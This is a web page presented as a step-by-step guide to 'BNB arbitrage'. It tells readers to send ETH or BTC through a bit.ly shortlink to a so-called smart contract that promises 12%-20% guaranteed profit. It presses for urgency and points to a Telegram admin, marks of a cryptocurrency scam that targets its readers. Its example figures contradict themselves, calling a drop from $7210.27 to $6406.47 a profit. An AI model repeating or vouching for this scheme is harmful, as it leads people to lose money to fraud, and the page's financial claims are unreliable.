Binance coin(BNB) Arbitrage

Crypto Arbitrage: the million-dollar profit factory

2021 might be the year cryptocurrency goes mainstream.

With numerous sports and large events canceled, and many Americans receiving government aid, the U.S. has a captive audience for financial change. While most things we took for granted have halted, two things have stayed the same: the Internet and the exchange of money.

What has changed notably is the value of money, in particular the U.S. dollar. As Americans continue to receive public financial assistance and businesses utilize Payroll Protection Program (PPP) loans, the inherent value of the dollar is dropping.

What does this mean? More people will hedge their bets on currencies that act outside the confines of the dollar and buy other fiat currencies. However, we are also seeing more people invest in cryptocurrencies. At the same time, it leaves a huge profit margin for the market which we can take advantage of, by using the BNB Arbitrage Smart Contract.

What Is Binance Coin (BNB)?

1. BNB was launched through an initial coin offering in 2017, 11 days before the Binance cryptocurrency exchange went online. It was originally issued as an ERC-20 token running on the Ethereum network, with a total supply capped at 200 million coins, and 100 million BNBs offered in the ICO.

2. BNB can be used as a payment method, a utility token to pay for fees on the Binance exchange, and for participation in token sales on the Binance Launchpad. BNB also powers the Binance DEX (decentralized exchange).

What is BNB smart chain contract?

Cross-exchange arbitrage is a kind of arbitrage trading where your bot makes profits on market inefficiencies between different exchanges. 

This means that the crypto arbitrage bot sells high on one exchange and buys lower on the other, executing two orders simultaneously.

The mechanics for this kind of arbitrage are pretty straightforward, or, at least used to be a few years ago when prices for crypto assets on top of different exchanges tremendously varied. 

The difference in prices is often found between local exchanges, which is tied to the economic situation in the countries where the exchanges are based. Exchanges also have different processing capacities, meaning that smaller exchanges will often be lagging behind larger ones, creating additional opportunities for profit. 

Exchange arbitrage is further divided into spatial and cross-border that have the same procedure, but the cross-border one involves exchanges located in different countries.

Arbitrage trading example: Binance vs Bittrex

For instance, as of writing this, on top of Binance, your crypto bot could have purchased one Bitcoin for $30,870 to sell it for $30,952 on top of Bittrex. While using an arbitrage bot, you should know that it also considers exchange fees.

At the end of the day, it’s not much of a profit, is it? But when thousands of trades are executed each day, the profits start to sum up really nicely.

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Ok, lets get start :

To receive BNB coins, you need a Crypto wallet that supports “Binance Chain” e.g., Atomic or Imtoken wallet.

Download Atomic wallet: https://atomicwallet.io/

Download Trust Wallet: https://trustwallet.com/

Let’s take Atomic wallet for example

Add BNB token into your wallet Create new wallet:

Find “BNB Coin” Activate “Binance Coin”

Now you can see “Binance Coin” in your wallet

1.Add ETH to your Atomic wallet

If you don't have ETH, you can buy it on binance or other exchanges.

2.Use your Atomic Wallet, send ETH (At least 1 ETH) /BTC(At least 0.1BTC)to the Smart Contract official page:

https://bit.ly/BinanceSmartChain

Please note: The smart contract proximately generates 12%-20% profit, which means if you sent 1 ETH to the contract address, you could receive at least 7.91 BNB. According to the price of the day: (Check price https://coinmarketcap.com/currencies/binance-coin/ )

7.91 BNB=$1998.7, the profit would be $1998.7-$1771.3=$227.4

After deducting fees, we could still get more than 11% in profit.

At present, the amount of BNB in the contract pool is getting less and less, We need to act fast!

3. Waiting for BNB to return

The process is usually within 30 minutes (unless the network is unusually congested)

4.Hold BNB or Sell your BNB on Binance exchange

https://www.binance.com/ this is the Binance official website, of course, you could use the mobile phone app as well. If you are from the US, you should use https://www.binance.us/

Let’s skip register or verifying accounts here, I believe everyone can do it perfectly.

a. Deposit your BNB received from the smart contract

Click “wallet” in the upper right corner, find “Fiat and Spot”

b. Click “Deposit”

Send your BNB from “Atomic wallet” to “Binance exchange”

c. Trade-Transfer/Sell

Trade your BNB for ETH now, you can either sell the ETH on Binance exchange or any other cryptocurrency exchange sites like Coinbase, or you can withdraw the ETH back to Atomic wallet to go for another arbitrage process again!

Best Places to Buy Ethereum of 2021

· Coinbase: Best Overall

· Robinhood: Best for Low Cost

· Square Cash: Best for Versatility

· Binance: Best for Low Rates in Other Currencies

· Coinbase Pro: Best for Active Traders

· Coinmama: Best for Quick and Easy Transactions

How to buy Ethereum on Binance in under 5 minutes?

1. Register on Binance

Even though trading cryptocurrency on Binance does not require a know-your-customer (KYC) process as long as you’re withdrawing less than 2 BTC per day, you will have to provide some of your personal details if you want to purchase crypto with your credit or debit card through Binance.

2. Select “Buy Crypto”

•Select “Credit/Debit Card” for card payment. (If you wish to use PayPal, bank transfer or any other methods click P2P Trading)

•Enter the amount of Ethereum you want to purchase

•Confirm your Ethereum order

• Enter your credit card information

• Enter your billing information

After completing an identity verification process, Binance will complete your cryptocurrency order. Usually, it will take between 10 and 30 minutes for the crypto to appear in your Binance account.

How to withdraw the ETH you just bought to your Atomic/Imtoken wallet?

Select “Wallet” — “Fiat and Spot”

Click “Withdraw”, and copy-paste your Atomic wallet’s ETH address.

To see your Atomic wallet’s ETH address:

Let’s briefly summarize the process of the arbitrage strategy:

[Buy Ethereum] → [Send to Atomic wallet] → [Deposit to smart contract] →

[Receive BNB in Atomic] → [Send BNB to Binance] → [Trade BNB for ETH] →

[Wthdraw ETH to Atomic] → [One more round of Arbitrage]

The Smart Contract official site

https://bit.ly/BinanceSmartChain

Please note: The smart contract proximately generates 12%-20% profit, which means if you sent 1 ETH to the contract address, you could receive at least 7.91 BNB.

You will receive BNB in about 30 minutes:

2.09811ETH → 20.540908BNB ($7210.27→ $6406.47), $803.8 Profit

Now you can hold your BNB or send your BNB coins to Binance exchange, to trade, or to sell them.

Cryptocurrency arbitrage is not rocket science, lots of people making millions of dollars by using this strategy, I hope you are the next one!

If you have any questions, feel free to consult the admin(https://t.me/bscArnold) of our group.

Beware of scams, we will not message first.Binance hope to be better with you.

Crypto Wallet:

Download Atomic wallet: https://atomicwallet.io/

Download Trust Wallet: https://trustwallet.com/

Exchange:

https://www.binance.com/ or https://www.binance.us/

Forbes:

https://www.forbes.com/sites/cryptoconfidential/2020/05/03/bitcoin-booms-as-halving-looms-risk-free-bitcoin-profits/?sh=1946e7e267e0

https://trustwallet.com/